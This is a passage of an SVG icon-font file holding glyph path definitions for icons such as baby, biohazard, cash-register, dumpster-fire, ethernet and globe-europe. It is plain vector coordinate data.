d="M562.1 64.0996c8.10059 -0.899414 13.9004 -8.2998 13.8008 -16.2998v-31.5996c0 -9.10059 -7.60059 -16.7998 -16.7002 -16c-28.2002 2.5 -55.7998 11.5996 -79.1006 25.7998c-55 -34.0996 -135.5 -34.5996 -192 0c-55 -34.0996 -135.5 -34.5996 -192 0
c-23.2998 -14.5 -50.5996 -23.4004 -79.3994 -25.9004c-9.10059 -0.799805 -16.7002 6.90039 -16.7002 16v32.2002c0 7.90039 5.7002 14.9004 13.5996 15.7002c21.7002 2.2998 42.2002 10.2002 57.7002 22.4004c13.7998 10.8994 33.6006 13.1992 47.1006 2
c38.2998 -31.7002 107.199 -31.8008 145.199 -1.7002c13.7002 10.8994 33.2002 13 46.7002 1.7998c38.5 -31.9004 107.8 -31.9004 145.7 -1.5c14 11.2998 34.0996 11.0996 48.2002 0c15.7998 -12.4004 36.3994 -20.5 57.8994 -22.9004zM562.1 208.1
c8.10059 -0.899414 13.9004 -8.2998 13.8008 -16.2998v-31.5996c0 -9.10059 -7.60059 -16.7998 -16.7002 -16c-28.2002 2.5 -55.7998 11.5996 -79.1006 25.7998c-55 -34.0996 -135.5 -34.5996 -192 0c-55 -34.0996 -135.5 -34.5996 -192 0
c-23.2998 -14.5 -50.5996 -23.4004 -79.3994 -25.9004c-9.10059 -0.799805 -16.7002 6.90039 -16.7002 16v32.2002c0 7.90039 5.7002 14.9004 13.5996 15.7002c21.7002 2.2998 42.2002 10.2002 57.7002 22.4004c13.7998 10.8994 33.6006 13.1992 47.1006 2
c38.2998 -31.7002 107.199 -31.8008 145.199 -1.7002c13.7002 10.8994 33.2002 13 46.7002 1.7998c38.5 -31.9004 107.8 -31.9004 145.7 -1.5c14 11.2998 34.0996 11.0996 48.2002 0c15.7998 -12.4004 36.3994 -20.5 57.8994 -22.9004zM562.1 352.1
c8.10059 -0.899414 13.9004 -8.2998 13.8008 -16.2998v-31.5996c0 -9.10059 -7.60059 -16.7998 -16.7002 -16c-28.2002 2.5 -55.7998 11.5996 -79.1006 25.7998c-55 -34.0996 -135.5 -34.5996 -192 0c-55 -34.0996 -135.5 -34.5996 -192 0
c-23.2998 -14.5 -50.5996 -23.4004 -79.3994 -25.9004c-9.10059 -0.799805 -16.7002 6.90039 -16.7002 16v32.2002c0 7.90039 5.7002 14.9004 13.5996 15.7002c21.7002 2.2998 42.2002 10.2002 57.7002 22.4004c13.7998 10.8994 33.6006 13.1992 47.1006 2
c38.2998 -31.7002 107.199 -31.8008 145.199 -1.7002c13.7002 10.8994 33.2002 13 46.7002 1.7998c38.5 -31.9004 107.8 -31.9004 145.7 -1.5c14 11.2998 34.0996 11.0996 48.2002 0c15.7998 -12.4004 36.3994 -20.4004 57.8994 -22.9004z" />
    <glyph glyph-name="baby" unicode="&#xf77c;" horiz-adv-x="384" 
d="M192 288c-44.2002 0 -80 35.7998 -80 80s35.7998 80 80 80s80 -35.7998 80 -80s-35.7998 -80 -80 -80zM138.6 39.2002l29.4004 -39.2002c13.2002 -17.7002 9.7002 -42.7998 -8 -56c-7.2002 -5.40039 -15.7002 -8 -24 -8c-12.0996 0 -24.0996 5.5 -32 16l-48 64
c-10.9004 14.5996 -10.5996 34.7998 0.799805 49l45.9004 57.4004l61.5 -51.2002zM281.3 122.4l45.9004 -57.4004c11.3994 -14.2002 11.7002 -34.4004 0.799805 -49l-48 -64c-7.7998 -10.5 -19.7998 -16 -32 -16c-8.40039 0 -16.7998 2.59961 -24 8
c-17.7002 13.2002 -21.2002 38.2998 -8 56l29.4004 39.2002l-25.6006 32zM376.7 303c12.7002 -18.0996 8.39941 -43 -9.7002 -55.7998l-40.5996 -28.5c-17 -11.9004 -35.4004 -20.9004 -54.4004 -27.9004v-30.7998h-160v30.9004c-19 7 -37.4004 16 -54.4004 27.8994
l-40.5996 28.5c-18 12.7002 -22.4004 37.6006 -9.7002 55.7002c12.7002 18 37.6006 22.4004 55.7002 9.7002l40.5996 -28.4004c52.6006 -37 124.101 -37 176.801 0l40.5996 28.5c18.0996 12.6006 43 8.2998 55.7002 -9.7998z" />
    <glyph glyph-name="baby-carriage" unicode="&#xf77d;" 
d="M144.8 431l111.2 -175h-256c0 74 35.2998 140.1 90.7998 184.4c16.7998 13.3994 42.7002 8.39941 54 -9.40039zM496 352c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48v-64c0 -50.5996 -23 -96.4004 -60.2998 -130.7
c34.5996 -8.89941 60.2998 -40 60.2998 -77.2998c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 8.90039 1.7002 17.2002 4.40039 25.2002c-21.5 -5.90039 -44.6006 -9.2002 -68.4004 -9.2002s-46.7998 3.2998 -68.4004 9.2002
c2.60059 -8 4.40039 -16.2998 4.40039 -25.2002c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 37.2998 25.7002 68.4004 60.2998 77.2998c-37.2998 34.2998 -60.2998 80.1006 -60.2998 130.7h384v64c0 35.2998 28.7002 64 64 64h48zM80 -16
c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32zM400 16c0 17.5996 -14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32s32 14.4004 32 32z" />
    <glyph glyph-name="biohazard" unicode="&#xf780;" horiz-adv-x="576" 
d="M287.9 336c-18.5 0 -36 -3.7998 -52.5 -9.5c-13.3008 10.2998 -23.6006 24.2998 -29.5 40.7002c25.1992 10.8994 53 16.8994 82.0996 16.8994c29.2002 0 57 -6.09961 82.2002 -17c-5.90039 -16.3994 -16.2002 -30.3994 -29.5 -40.6992
c-16.6006 5.7998 -34.2002 9.59961 -52.7998 9.59961zM163.6 9.2998c-47.5 35.5 -79.1992 90.7002 -83.2998 153.5c7.2998 2.10059 14.9004 3.10059 22.5 3.10059c9.2002 0 17.9004 -1.80078 26.4004 -4.60059c4.09961 -44.2998 26 -83.2002 58.8994 -109.6
c-4.09961 -16 -12.5 -30.6006 -24.5 -42.4004zM387.8 51.9004c32.7002 26.3994 54.6006 65.0996 58.7002 109.3c8.59961 2.7998 17.4004 4.7002 26.5996 4.7002c7.5 0 15 -1 22.2002 -3c-3.89941 -62.8008 -35.5996 -118 -83 -153.5c-12 11.7998 -20.3994 26.5 -24.5 42.5z
M501.3 256.9c34.6006 -20.4004 61 -53.3008 74.1006 -92.4004c1.2998 -3.7002 -0.200195 -7.7998 -3.5 -9.7998c-3.30078 -2 -7.5 -1.2998 -10 1.59961c-9.40039 10.7998 -19 19 -29.2002 25.1006c-57.2998 33.8994 -130.8 13.6992 -163.9 -45
c-33.0996 -58.7002 -13.3994 -134 43.9004 -167.9c10.2002 -6.09961 21.8994 -10.5 35.7998 -13.4004c3.7998 -0.799805 6.40039 -4.19922 6.40039 -8.09961c-0.100586 -4 -2.7002 -7.2998 -6.5 -8c-39.7002 -7.7998 -80.6006 -0.799805 -115.2 19.7002
c-18 10.5996 -32.9004 24.5 -45.2998 40.0996c-12.4004 -15.5996 -27.3008 -29.5 -45.3008 -40.0996c-34.5996 -20.5 -75.5 -27.5 -115.199 -19.7002c-3.80078 0.700195 -6.40039 4 -6.5 8c0 3.90039 2.69922 7.2998 6.39941 8.09961
c13.7998 3 25.6006 7.30078 35.7998 13.4004c57.3008 33.9004 77 109.2 43.9004 167.9c-33.0996 58.6992 -106.6 78.8994 -163.9 45c-10.1992 -6 -19.7998 -14.3008 -29.1992 -25.1006c-2.5 -2.89941 -6.7002 -3.59961 -10 -1.59961
c-3.30078 2.09961 -4.80078 6.09961 -3.5 9.7998c13.2998 39.0996 39.6992 71.9004 74.2998 92.4004c17.5996 10.3994 36.3994 16.5996 55.2998 19.8994c-6.09961 17.7002 -10 36.4004 -10 56.2002c0 41 14.5996 80.7998 41 112.2c2.5 3 6.59961 3.7002 10 1.7998
c3.2998 -1.90039 4.7998 -6 3.59961 -9.7002c-4.39941 -13.7998 -6.59961 -26.3994 -6.59961 -38.5c0 -67.7998 53.7998 -122.899 120 -122.899s120 55.0996 120 122.899c0 12.2002 -2.09961 24.7002 -6.59961 38.5c-1.2002 3.7002 0.299805 7.7998 3.59961 9.7002
c3.40039 1.90039 7.5 1.2002 10 -1.7998c26.5 -31.4004 41 -71.2002 41 -112.2c0 -19.7998 -4 -38.5 -10 -56.2002c19 -3.2998 37.7002 -9.5 55.2998 -19.8994zM287.9 127.9c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48z" />
    <glyph glyph-name="blog" unicode="&#xf781;" 
d="M172.2 221.2c75.5 -15 129.899 -89.2998 112.5 -172.2c-11.4004 -54.2998 -55.2998 -98.2998 -109.7 -109.7c-92.9004 -19.5 -175 51.2002 -175 140.7v248c0 13.2998 10.7002 24 24 24h48c13.2998 0 24 -10.7002 24 -24v-248c0 -26.5 21.5 -48 48 -48s48 21.5 48 48
c0 20.5996 -13.0996 38.2002 -31.2998 45c-9.60059 3.59961 -16.7002 11.7998 -16.7002 22v50.4004c0 14.8994 13.5996 26.6992 28.2002 23.7998zM209 448c163.2 -8.59961 294.4 -139.8 302.9 -303c0.5 -9.2002 -6.80078 -17 -16 -17h-32.1006
c-8.39941 0 -15.3994 6.59961 -15.8994 15c-7.5 129.5 -111.5 234.5 -240.9 241.5c-8.40039 0.400391 -15 7.40039 -15 15.9004v31.5996c0 9.2002 7.7998 16.5 17 16zM209.3 352c110.101 -8.5 198.2 -96.5996 206.601 -206.7
c0.699219 -9.2998 -6.80078 -17.2998 -16.1006 -17.2998h-32.2002c-8.2998 0 -15.0996 6.40039 -15.8994 14.7002c-6.90039 77 -68.1006 138.899 -144.9 145.2c-8.2998 0.599609 -14.7998 7.5 -14.7998 15.8994v32.1006c0 9.39941 8 16.7998 17.2998 16.0996z" />
    <glyph glyph-name="calendar-day" unicode="&#xf783;" horiz-adv-x="448" 
d="M0 -16v272h448v-272c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48zM64 176v-96c0 -8.7998 7.2002 -16 16 -16h96c8.7998 0 16 7.2002 16 16v96c0 8.7998 -7.2002 16 -16 16h-96c-8.7998 0 -16 -7.2002 -16 -16zM400 384c26.5 0 48 -21.5 48 -48v-48h-448v48
c0 26.5 21.5 48 48 48h48v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h128v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h48z" />
    <glyph glyph-name="calendar-week" unicode="&#xf784;" horiz-adv-x="448" 
d="M0 -16v272h448v-272c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48zM64 176v-64c0 -8.7998 7.2002 -16 16 -16h288c8.7998 0 16 7.2002 16 16v64c0 8.7998 -7.2002 16 -16 16h-288c-8.7998 0 -16 -7.2002 -16 -16zM400 384c26.5 0 48 -21.5 48 -48v-48h-448
v48c0 26.5 21.5 48 48 48h48v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h128v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h48z" />
    <glyph glyph-name="candy-cane" unicode="&#xf786;" 
d="M497.5 356c35.7002 -75.5 2.7998 -166.1 -68.9004 -209l-347.3 -206.5c-5.2002 -3 -10.7998 -4.5 -16.3994 -4.5c-10.9004 0 -21.5 5.59961 -27.5 15.5996l-32.8008 54.9004c-9.09961 15.2002 -4.19922 34.7998 11 43.9004l353.601 210.1
c15.0996 9.09961 20.0996 28.7998 11 43.9004c-6 10 -16.6006 15.5996 -27.5 15.5996c-5.60059 0 -11.2998 -1.40039 -16.4004 -4.5l-27.5 -16.4004c-5.2002 -3 -10.7998 -4.5 -16.3994 -4.5c-10.9004 0 -21.5 5.60059 -27.5 15.6006l-32.8008 54.8994
c-9.09961 15.2002 -4.19922 34.8008 11 43.9004l27.5 16.4004c25.6006 15.2998 53.9004 22.5996 81.8008 22.5996c59.3994 0 117.199 -33.0996 145.1 -92zM319.8 343c8.5 5.09961 18.1006 7.59961 27.9004 8.40039l-20.6006 61.7998
c-10.5 -2.10059 -20.5996 -5.5 -30.2998 -10.2002l20.5 -61.5zM145.9 16.2002l30.7998 18.2998l-60.5 38.5l-30.7998 -18.2998zM253.4 80.0996l30.7998 18.3008l-60.5 38.5l-30.7998 -18.3008zM364.3 146l30.7998 18.2998l-60.5 38.5l-30.7998 -18.2998zM384.7 343.3
c9.2002 -5.39941 17.2002 -13 22.8994 -22.2998l45.7002 45.7002c-6.59961 8.5 -14.2002 16.0996 -22.5996 22.5996zM466.8 235.5c4.60059 9.7998 8 20 10.1006 30.4004l-60.4004 20.0996c-0.0996094 -4.5 -0.700195 -9.09961 -1.7998 -13.5996
c-1.60059 -6.2002 -4.2002 -11.8008 -7.40039 -17.1006z" />
    <glyph glyph-name="carrot" unicode="&#xf787;" 
d="M298.2 291.4c61.7002 -30.1006 87.2998 -104.5 57.2002 -166.2c-12.6006 -25.7998 -33.1006 -45.4004 -57.1006 -57.1006l-102 -49.7998l-57 57c-6.2002 6.2002 -16.2998 6.2002 -22.5996 0s-6.2998 -16.3994 0 -22.5996l49.2002 -49.2002l-133.601 -65.2002
c-11.0996 -5.39941 -24.5996 -0.799805 -30 10.2998c-3.09961 6.40039 -2.89941 13.7002 0 19.7002l128.101 262.7l50.1992 -50.2002c3.10059 -3.09961 7.2002 -4.7002 11.3008 -4.7002c4.09961 0 8.19922 1.60059 11.2998 4.7002c6.2998 6.2002 6.2998 16.2998 0 22.6006
l-55.2002 55.1992c35.7002 43.3008 97.5 58.5 150.2 32.8008zM390.3 326.3c40.7002 19.5 88.7998 9.40039 121.7 -30.2998c-41.5996 -50.2998 -107.5 -52.5 -151.9 -7.90039l-8 8c-44.5996 44.4004 -42.3994 110.2 7.90039 151.9
c39.7002 -32.9004 49.7998 -81 30.2998 -121.7z" />
    <glyph glyph-name="cash-register" unicode="&#xf788;" 
d="M511.1 69.2002c0.600586 -3.5 0.900391 -7 0.800781 -10.5v-90.7002c0 -17.7002 -14.3008 -32 -32 -32h-448c-17.7002 0 -32 14.2998 -32 32v90.7998c0 3.5 0.299805 7 0.899414 10.5l26.7002 160c2.59961 15.4004 16 26.7002 31.5996 26.7002h84.9004v64h-96
c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h256c8.7998 0 16 -7.2002 16 -16v-96.0996c0 -8.80078 -7.2002 -16 -16 -16h-96v-64h244.8c15.7002 0 29 -11.3008 31.6006 -26.7002zM280 200v-16c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16
c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16zM248 136c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16h-16zM216 216h-16c-8.7998 0 -16 -7.2002 -16 -16v-16
c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16zM80 368h192v32h-192v-32zM120 168c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16zM136 104
c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16zM352 -8v16c0 4.40039 -3.59961 8 -8 8h-176c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h176c4.40039 0 8 3.59961 8 8
zM376 104v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16c8.7998 0 16 7.2002 16 16zM424 184v16c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16v-16c0 -8.7998 7.2002 -16 16 -16h16
c8.7998 0 16 7.2002 16 16z" />
    <glyph glyph-name="compress-arrows-alt" unicode="&#xf78c;" 
d="M200 160c13.2998 0 24 -10.7002 24 -24v-112c0 -21.4004 -25.7998 -32.0996 -40.9004 -17l-31.0996 33l-99.2998 -99.2998c-6.2002 -6.2002 -16.4004 -6.2002 -22.6006 0l-25.3994 25.3994c-6.2002 6.2002 -6.2002 16.4004 0 22.6006l99.2002 99.2998l-32.9004 31
c-15.0996 15.2002 -4.40039 41 17 41h112zM312 224c-13.2998 0 -24 10.7002 -24 24v112c0 21.4004 25.7998 32.0996 40.9004 17l31.0996 -33l99.2998 99.2998c6.2002 6.2002 16.4004 6.2002 22.6006 0l25.3994 -25.3994c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006
l-99.2998 -99.2998l33 -31c15.0996 -15.0996 4.40039 -41 -17 -41h-112zM408 88l99.2998 -99.4004c6.2002 -6.19922 6.2002 -16.3994 0 -22.5996l-25.3994 -25.4004c-6.2002 -6.19922 -16.4004 -6.19922 -22.6006 0l-99.2998 99.3008l-31 -32.9004
c-15.0996 -15.0996 -41 -4.40039 -41 17v112c0 13.2998 10.7002 24 24 24h112c21.4004 0 32.0996 -25.7998 17 -40.9004zM183 376.9c15.0996 15.0996 41 4.39941 41 -16.9004v-112c0 -13.2998 -10.7002 -24 -24 -24h-112c-21.4004 0 -32.0996 25.7998 -17 40.9004
l33 31.0996l-99.2998 99.2998c-6.2002 6.2002 -6.2002 16.4004 0 22.6006l25.3994 25.3994c6.2002 6.2002 16.4004 6.2002 22.6006 0l99.2998 -99.2998z" />
    <glyph glyph-name="dumpster" unicode="&#xf793;" horiz-adv-x="576" 
d="M560 288h-97.2998l-25.6006 128h98.9004c7.2998 0 13.7002 -5 15.5 -12.0996l24 -96c2.5 -10.1006 -5.09961 -19.9004 -15.5 -19.9004zM272 416v-128h-126.1l25.5996 128h100.5zM404.5 416l25.5996 -128h-126.1v128h100.5zM16 288c-10.4004 0 -18 9.7998 -15.5 19.9004
l24 96c1.7998 7.09961 8.2002 12.0996 15.5 12.0996h98.9004l-25.6006 -128h-97.2998zM560 224c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-28l-20 -160v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-320v-16
c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16l-20 160h-28c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h20l-4 32h512l-4 -32h20z" />
    <glyph glyph-name="dumpster-fire" unicode="&#xf794;" horiz-adv-x="640" 
d="M418.7 343.9c-19.7002 -17.6006 -37.7002 -36.5 -53.9004 -55.8008h-60.7998v128h100.5l14.4004 -72zM272 416v-128h-126.1l25.5996 128h100.5zM461.3 343.9l-11.8994 10.5996l-12.3008 61.5h98.9004c7.2998 0 13.7002 -5 15.4004 -12.0996l24 -96
c0.199219 -0.800781 -0.100586 -1.5 0 -2.30078c-1 1 -2 2.2002 -3.10059 3.10059l-21.2998 19l-21.2998 -19c-5.90039 -5.2002 -11.6006 -10.7002 -17.2998 -16.2998c-15.6006 17.7998 -32.9004 35.1992 -51.1006 51.5zM16 288c-10.4004 0 -18 9.7998 -15.5 19.9004l24 96
c1.7998 7.09961 8.2002 12.0996 15.5 12.0996h98.9004l-25.6006 -128h-97.2998zM340.6 256c-32.6992 -46.7002 -52.5996 -93.7002 -52.5996 -129.6c0 -48.5 18.5996 -92.7002 48.7998 -126.4h-208.8v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16
l-20 160h-28c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h20l-4 32h308.6zM551.1 284.8c51.8008 -46.2002 88.9004 -121.8 88.8008 -158.399c0 -87.5 -71.6006 -158.4 -160 -158.4c-88.4004 0 -160 70.9004 -160 158.4c0 49.2998 49.7998 130.899 120 193.6
c27.3994 -24.4004 51.5 -50.5996 71 -76.4004c11.8994 14 25.2998 27.9004 40.1992 41.2002zM532.5 55.4004c33.4004 24.1992 41.2002 71.0996 22.5996 107.8c-2.2998 4.5 -4.89941 9.2002 -7.69922 14l-39.8008 -47s-62.3994 82.5 -67.0996 88.0996
c-32.9004 -40.8994 -49.4004 -64.7998 -49.4004 -91.8994c0 -54.5 39.9004 -88 88.9004 -88c19.5996 0 37.7998 6.2998 52.5 17z" />
    <glyph glyph-name="ethernet" unicode="&#xf796;" 
d="M496 256c8.7998 0 16 -7.2002 16 -16v-224c0 -8.7998 -7.2002 -16 -16 -16h-80v128h-32v-128h-64v128h-32v-128h-64v128h-32v-128h-64v128h-32v-128h-80c-8.7998 0 -16 7.2002 -16 16v224c0 8.7998 7.2002 16 16 16h48v48c0 8.7998 7.2002 16 16 16h48v48
c0 8.7998 7.2002 16 16 16h224c8.7998 0 16 -7.2002 16 -16v-48h48c8.7998 0 16 -7.2002 16 -16v-48h48z" />
    <glyph glyph-name="gifts" unicode="&#xf79c;" horiz-adv-x="640" 
d="M240.6 253.9c-27.7998 -6.90039 -48.5996 -32 -48.5996 -61.9004v-224c0 -11.7002 3.40039 -22.5 8.90039 -32h-168.9c-17.7002 0 -32 14.2998 -32 32v352c0 17.7002 14.2998 32 32 32h29.4004l-30.7002 22c-7.2002 5.09961 -8.7998 15.0996 -3.7002 22.2998l9.2998 13
c5.10059 7.2002 15.1006 8.7998 22.2998 3.7002l32.1006 -22.7998l-11.5 30.5996c-3.2002 8.2002 1 17.5 9.2998 20.6006l15 5.59961c8.2998 3.09961 17.5 -1.09961 20.5996 -9.40039l19.9004 -53.0996l19.9004 53c3.09961 8.2998 12.2998 12.5 20.5996 9.40039l15 -5.60059
c8.2998 -3.09961 12.5 -12.2998 9.40039 -20.5996l-11.5 -30.6006l32 22.9004c7.19922 5.2002 17.1992 3.5 22.2998 -3.7002l9.2998 -13c5.2002 -7.2002 3.5 -17.2002 -3.7002 -22.2998l-30.7002 -22h29.4004c12.7002 0 23.4004 -7.5 28.5996 -18.2998
c-26.6992 -18.6006 -42.0996 -49 -44 -79.7998zM224 -32v96h192v-128h-160c-17.7002 0 -32 14.2998 -32 32zM448 -64v128h192v-96c0 -17.7002 -14.2998 -32 -32 -32h-160zM608 224c17.7002 0 32 -14.2998 32 -32v-96h-192v128h-15.2998l-0.700195 0.200195
l-0.700195 -0.200195h-15.2998v-128h-192v96c0 17.7002 14.2998 32 32 32h20.4004c-2.7002 7.59961 -4.40039 15.5 -4.40039 23.7998c0 35.5 27 72.2002 72.0996 72.2002c48 0 75.8008 -47.7002 87.9004 -75.2998c12 27.5996 39.7998 75.2998 87.9004 75.2998
c45.0996 0 72.0996 -36.7002 72.0996 -72.2002c0 -8.2998 -1.7998 -16.2002 -4.40039 -23.7998h20.4004zM336 224h52.5996c-8.89941 20.5996 -25.7998 48 -44.5 48c-17.6992 0 -24.0996 -14.5 -24.0996 -24.2002c0 -5.2002 1.5 -12.5996 8.7998 -19
c2.10059 -1.7998 4.5 -3.39941 7.2002 -4.7998zM535.2 228.8c7.2998 6.40039 8.7998 13.7998 8.7998 19c0 9.7002 -6.40039 24.2002 -24.0996 24.2002c-18.7002 0 -35.7002 -27.7002 -44.5 -48h52.5996c2.7002 1.40039 5.09961 3 7.2002 4.7998z" />
    <glyph glyph-name="glass-cheers" unicode="&#xf79f;" horiz-adv-x="640" 
d="M639.4 14.4004c1.69922 -4.10059 -0.300781 -8.7002 -4.30078 -10.4004l-162.399 -67.4004c-4 -1.69922 -8.7002 0.200195 -10.4004 4.30078c-8.5 20.3994 1.2002 43.7998 21.6006 52.2998l22.0996 9.2002l-39.2998 103.6
c-4.40039 -0.5 -8.7998 -1.2998 -13.1006 -1.2998c-51.6992 0 -99.3994 33.0996 -113.399 85.2998l-20.2002 75.4004l-20.2002 -75.4004c-14 -52.2002 -61.7002 -85.2998 -113.399 -85.2998c-4.30078 0 -8.7002 0.799805 -13.1006 1.2998l-39.3994 -103.6l22.0996 -9.2002
c20.4004 -8.5 30 -31.9004 21.5996 -52.2998c-1.69922 -4.10059 -6.2998 -6 -10.3994 -4.30078l-162.3 67.4004c-4.10059 1.7002 -6 6.40039 -4.30078 10.5c8.5 20.4004 31.8008 30.0996 52.2002 21.5996l22.1006 -9.19922l38.6992 101.899
c-47.8994 34.9004 -64.6992 100.2 -34.5 152.7l86.6006 150.5c8 13.9004 25.0996 19.7998 40 13.5996l114.3 -47.3994l114.3 47.3994c14.9004 6.10059 32 0.300781 40 -13.5996l86.6006 -150.5c30.2998 -52.5 13.3994 -117.8 -34.5 -152.8l38.6992 -101.9l22.1006 9.2002
c20.3994 8.5 43.7998 -1.2002 52.2002 -21.5996zM275.9 285.9l18.8994 70.6992l-94.5 39.2002l-36.5 -63.3994zM364.1 285.9l112.101 46.5l-36.5 63.3994l-94.5 -39.2002z" />
    <glyph glyph-name="glass-whiskey" unicode="&#xf7a0;" 
d="M480 416c19.5 0 34.4004 -17.2002 31.7002 -36.5l-55.6006 -356.5c-4.5 -31.5 -31.5996 -54.9004 -63.3994 -54.9004h-273c-31.9004 0 -58.9004 23.4004 -63.4004 54.9004l-56 356.5c-2.7002 19.2998 12.2002 36.5 31.7002 36.5h448zM442.6 352h-373.199l30.1992 -192
h313z" />
    <glyph glyph-name="globe-europe" unicode="&#xf7a2;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM448 192c0 110.3 -89.7002 200 -200.2 200c-1.89941 0 -3.7998 -0.200195 -5.7002 -0.299805l-28.8994 -21.7002c-2 -1.5 -3.2002 -3.90039 -3.2002 -6.40039v-20
c0 -4.39941 3.59961 -8 8 -8h16c4.40039 0 8 3.60059 8 8v8l16 16h20.7002c6.2002 0 11.2998 -5.09961 11.2998 -11.2998c0 -3 -1.2002 -5.89941 -3.2998 -8l-26.7998 -26.7998c-1.2002 -1.2002 -2.7002 -2.09961 -4.40039 -2.7002l-40 -13.2998
c-3.2998 -1.09961 -5.5 -4.2002 -5.5 -7.59961c0 -6.60059 -2.59961 -12.9004 -7.2002 -17.5l-20.0996 -20.1006c-3 -3 -4.7002 -7.09961 -4.7002 -11.2998v-25.2998c0 -8.7998 7.2002 -16 16 -16h22.0996c6.10059 0 11.6006 3.39941 14.3008 8.7998l9.39941 18.7002
c1.40039 2.7002 4.2002 4.39941 7.2002 4.39941h3.09961c4.40039 0 8 -3.59961 8 -8c0 -4.39941 3.60059 -8 8 -8h16c4.40039 0 8 3.60059 8 8v2.2002c0 3.5 2.2002 6.5 5.5 7.60059l31.6006 10.5c6.5 2.19922 10.8994 8.2998 10.8994 15.1992v4.5
c0 8.80078 7.2002 16 16 16h36.7002c6.2002 0 11.2998 -5.09961 11.2998 -11.2998v-9.39941c0 -6.2002 -5.09961 -11.3008 -11.2998 -11.3008h-32c-3 0 -5.89941 -1.19922 -8 -3.2998l-9.39941 -9.39941c-2.10059 -2.10059 -3.30078 -5 -3.30078 -8
c0 -6.2002 5.10059 -11.3008 11.3008 -11.3008h16c3 0 5.89941 -1.19922 8 -3.2998l9.39941 -9.39941c2.10059 -2.10059 3.2998 -5 3.2998 -8v-8.7002l-12.5 -12.5c-4.59961 -4.60059 -4.59961 -12.1006 -0.0996094 -16.7002l32 -32.5996
c3 -3.10059 7.09961 -4.80078 11.4004 -4.80078h20.2998c6.89941 20.2002 10.7998 41.9004 10.7998 64.4004zM130.1 298.9c0 -6.2002 5.10059 -11.3008 11.3008 -11.3008h16c3 0 5.89941 1.2002 8 3.30078l9.39941 9.39941c2.10059 2.10059 3.2998 5 3.2998 8v16
c0 6.2002 -5.09961 11.2998 -11.2998 11.2998c-3 0 -5.89941 -1.19922 -8 -3.2998l-25.3994 -25.3994c-2.10059 -2.10059 -3.30078 -5 -3.30078 -8zM258.1 -7.5c71.1006 3.59961 132.5 44.2002 164.9 103.1h-13.4004c-4.7998 0 -9.5 1.90039 -12.8994 5.30078
l-17.2998 17.2998c-6 6 -14.1006 9.39941 -22.6006 9.39941h-18.2998l-43.2002 37.1006c-8.2002 7 -18.7002 10.8994 -29.5996 10.8994h-31.2002c-8.2002 0 -16.2998 -2.2998 -23.4004 -6.5l-42.8994 -25.6992c-13.7002 -8.2002 -22.1006 -23 -22.1006 -39v-23.9004
c0 -14.2998 6.7002 -27.7998 18.2002 -36.4004l22.2002 -16.6992c8.7002 -6.5 24.5996 -11.8008 35.4004 -11.8008h20.1992c8.80078 0 16 -7.19922 16 -16v-7.09961z" />
    <glyph glyph-name="grip-lines" unicode="&#xf7a4;" 
d="M496 160c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h480zM496 288c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v32
c0 8.7998 7.2002 16 16 16h480z" />
    <glyph glyph-name="grip-lines-vertical" unicode="&#xf7a5;" horiz-adv-x="256" 
d="M96 -48c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v480c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-480zM224 -48c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v480c0 8.7998 7.2002 16 16 16h32
c8.7998 0 16 -7.2002 16 -16v-480z" />
